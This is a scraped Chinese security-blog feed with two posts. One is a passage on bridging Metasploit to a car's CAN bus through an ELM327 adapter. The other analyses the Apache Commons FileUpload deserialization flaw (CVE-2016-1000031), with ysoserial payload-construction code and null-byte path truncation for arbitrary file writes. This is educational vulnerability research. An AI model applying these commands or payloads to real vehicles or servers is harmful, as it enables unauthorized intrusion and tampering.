现在,我们已经将Kali Linux配置为与ELM 327设备通信,我们需要创建一个到Metasploit的硬件桥接。Metasploit被构建用于TCP/IP的通信,而我们现在需要它通过串口与汽车原生的CAN协议进行通信

首先,我们启动Metasploit。

kali > msfconsole

然后,搜索汽车模块。

kali > search automotive

使用Metasploit进行汽车安全性测试

可以看到,只有少数几个汽车模块,且功能也非常的有限。

我们选择使用auxiliary/client/hwbridge/connect模块。

msf >use auxiliary/client/hwbridge/connect

使用Metasploit进行汽车安全性测试

加载该模块后,我们可以输入info命令来获取有关此模块的详细信息。

kali > info

使用Metasploit进行汽车安全性测试

最后,让我们执行该模块。

msf >exploit

步骤 6:使用 Metasploit 汽车模块

现在,我们已在车辆中创建了Metasploit和CAN协议之间的硬件桥接。这样我们就可以开始使用Metasploit中的汽车模块了。

使用Metasploit进行汽车安全性测试

例如,你想要检索车辆信息。

msf > use post/hardware/automotive/getvinfo

使用Metasploit进行汽车安全性测试

该模块将查询并收集所有车辆DTC(诊断故障码)和其他信息,如速度,冷却液温度,VIN甚至清除DTC。

现在,我们可以将我们的Linux系统和Metasploit 框架直接连接到汽车网络,直接与汽车的设备进行通信!

from and english

The post 使用Metasploit进行汽车安全性测试 入侵汽车 appeared first on 🔰雨苁ℒ🔰.

Apache Commons Fileupload 反序列化漏洞分析

$
0
0

Apache Commons Fileupload 反序列化漏洞分析 —雨苁5.0 test

前几天刚刚分析了Apache Commons FileUpload的Dos的漏洞,无意间发现了还存在反序列化的漏洞。网上只存在cve-2016-1000031 Apache Commons FileUpload 反序列化漏洞深入分析。这篇文章只是简要地分析了一下,但是对于原理还是不理解。后来发现在

ysoserial
中存在这个漏洞的Payload,于是就根据ysoserial中的Payload对这个漏洞进行分析。

漏洞说明 暗网网址250个

漏洞的来源是在于

DiskFileItem
中的
readObject()
进行文件写入的操作,这就意味着如果我们对已经序列化的
DiskFileItem
对象进行反序列化操作就能够触发
readObject()
执行从而触发这个漏洞。

这个漏洞的危害是能够任意写、读文件或者目录。但是具体是对文件还是目录操作与FileUpload以及JDK的版本有关。不同的漏洞环境能够达到的效果不一样。

  1. FileUpload的1.3.1之前的版本配合JDK1.7之前的版本,能够达到写入任意文件的漏洞;
  2. FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本,能够向任意目录写入文件;
  3. FileUpload的1.3.1以及之后的版本只能向特定目录写入文件,此目录也必须存在。(文件的的命名也无法控制);

下面将进行详细地分析

Payload构造

我们首先测试的版本是1.3的版本,JDK是1.8版本,所以这种组合只能达到向任意目录的文件写入的漏洞效果。

我们测试的payload是

{"write;cve1000031;123456"}
,表示的含义就是向目录
cve1000031
中写入
123456
的内容。在
ysoserial
中最终是由
ysoserial.payloads.FileUpload1::makePayload()
来构建payload。代码如下:
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
    // if thresh < written length, delete outputFile after copying to repository temp file
    // otherwise write the contents to repository temp file
    File repository = new File(repoPath);
    DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository);
    File outputFile = new File(filePath);
    DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
    OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
    os.write(data);
    Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
    Reflections.setFieldValue(diskFileItem, "dfos", dfos);
    Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
    return diskFileItem;
}

当我们输入我们的Payload,

{"write;cve1000031;123456"}
,其中的赋值情况是:
Apache Commons Fileupload 反序列化漏洞分析

thresh
的值就是我们需要写入的内容的长度加1,即
len(123456)+1
结果就是7。其中还有
filePath
cve1000031/whatever
是因为在这个漏洞环境中我们最终是向
cve1000031
目录写入,所以后面是什么就没有意义了。

最后在代码中还存在几个反序列化的操作:

Apache Commons Fileupload 反序列化漏洞分析

Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);

发序列化的意义是在于我们无法通过

DiskFileItem
的示例进行设置,只能通过反射的方式设置,这几个属性也是我们触发漏洞的必要条件。

之后对我们构造的这个进行序列化操作,反序列化之后就会触发DiskFileItem的

readObject()
从而触发漏洞。

漏洞分析-1

漏洞环境: 

FileUpload 1.3
+
JDK1.7

当对

DiskFileItem
的对象进行反序列化操作时,由
org.apache.commons.fileupload.disk.DiskFileItem::readObject()
处理。
private void readObject(ObjectInputStream in)
        throws IOException, ClassNotFoundException {
    // read values
    in.defaultReadObject();

    OutputStream output = getOutputStream();
    if (cachedContent != null) {
        output.write(cachedContent);
    } else {
        FileInputStream input = new FileInputStream(dfosFile);
        IOUtils.copy(input, output);
        dfosFile.delete();
        dfosFile = null;
    }
    output.close();

    cachedContent = null;
}

跟进

getOutputStream()
,进入到:
public OutputStream getOutputStream()
    throws IOException {
    if (dfos == null) {
        File outputFile = getTempFile();
        dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);
    }
    return dfos;
}

由于

dfos == null
满足条件,会执行
File outputFile = getTempFile();
方法。跟踪进入
getTempFile()
到中
Apache Commons Fileupload 反序列化漏洞分析

其中的

tempDir
就是我们设置的
repository
,即
cve1000031
tmpFileName
是由
DiskFileItem
是自动生成的。最终和
tempDir
组合得到的文件路径就是
cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp

最后返回至

readObject()
方法中写入文件,如下:
Apache Commons Fileupload 反序列化漏洞分析

其中的

cachedContent
就是我们之前在Payload中设置的
123456
。那么Payload的最终的效果就是在
cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp
文件中写入了
123456
的内容。
Apache Commons Fileupload 反序列化漏洞分析

漏洞分析-2

由于前面的一个漏洞分析是向任意目录写文件的功能,本次分析的是任意文件写入的功能。本次的漏洞环境是

FileUpload 1.3
+
JDK1.6

Payload构造

构造的Payload是

{"writeOld;cve1000031.txt;123456"}
。同样会调用
makePayload()
构造Payload。
Apache Commons Fileupload 反序列化漏洞分析

但是其中的

repoPath
最后一位是
\0
,这个就类似于PHP中的截断,用于截断后面的路径,这样就可以达到任意文件写入的效果。具体的原理说明如下:

JDK7以上在Java的file相关的基础类中都做了空字符的保护,这也是在针对java的string 和 c char的结束方式不一致,在Java中文件的操作中使用String这种char 数组,而C中的char 是以空字符为结束符,所以java操作的文件中很容易通过注入空字符来操作完全不同的文件。比如

Java File file = new File("/test/test.txt\0.jsp")
 看起来再操作
test.txt\0.jsp
实际上在底层调用的(本质还是c读写文件)是在操作test.txt。在JDK7以后的版本File 里面会有一个判断是否有空字符的函数

这个意思就是在JDK7之前可以利用

\0
进行目录截断,和php在5.3.4版本之前也可以进行目录截断是一样的道理。所以这个任意文件写入为什么要求是JDK7以下的版本才可以的原因。

漏洞的执行流程和前面分析的漏洞流程一样,不同是在

getTempFile()
中:
Apache Commons Fileupload 反序列化漏洞分析

其中

this.tempFile
的路径是
cve1000031.txt \upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp
。由于是在JDK1.6的环境下,后面的
\upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp
在写入文件时会被忽略,所以最终是向
cve1000031.txt
文件中写入内容。
Apache Commons Fileupload 反序列化漏洞分析

漏洞分析-3

漏洞环境: 

FileUpload 1.3.1
+
JDK1.7
 在
FileUpload 1.3.1
中对
readObject()
的功能进行了修改。修改主要是对
repository
进行了校验。
private void readObject(ObjectInputStream in)
        throws IOException, ClassNotFoundException {
    // read values
    in.defaultReadObject();
    /* One expected use of serialization is to migrate HTTP sessions
        * containing a DiskFileItem between JVMs. Particularly if the JVMs are
        * on different machines It is possible that the repository location is
        * not valid so validate it.
        */
    if (repository != null) {
        if (repository.isDirectory()) {
            // Check path for nulls
            if (repository.getPath().contains("\0")) {
                throw new IOException(format(
                        "The repository [%s] contains a null character",
                        repository.getPath()));
            }
        } else {
            throw new IOException(format(
                    "The repository [%s] is not a directory",
                    repository.getAbsolutePath()));
        }
    }

    OutputStream output = getOutputStream();
    if (cachedContent != null) {
        output.write(cachedContent);
    } else {
        FileInputStream input = new FileInputStream(dfosFile);
        IOUtils.copy(input, output);
        dfosFile.delete();
        dfosFile = null;
    }
    output.close();

    cachedContent = null;
}

通过对

repository.isDirectory()
repository.getPath().contains("\0")
的判断,就阻止了任意的文件写入的漏洞了。所以在这种环境下只能下特定的目录写入文件了。但是这种情况下,你也只能向临时目录写入文件。

总结

分析这个漏洞学习到了JDK1.6的截断同时也感慨

ysoserial
的强大。

from

The post Apache Commons Fileupload 反序列化漏洞分析 appeared first on 🔰雨苁ℒ🔰.

Viewing all 323 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>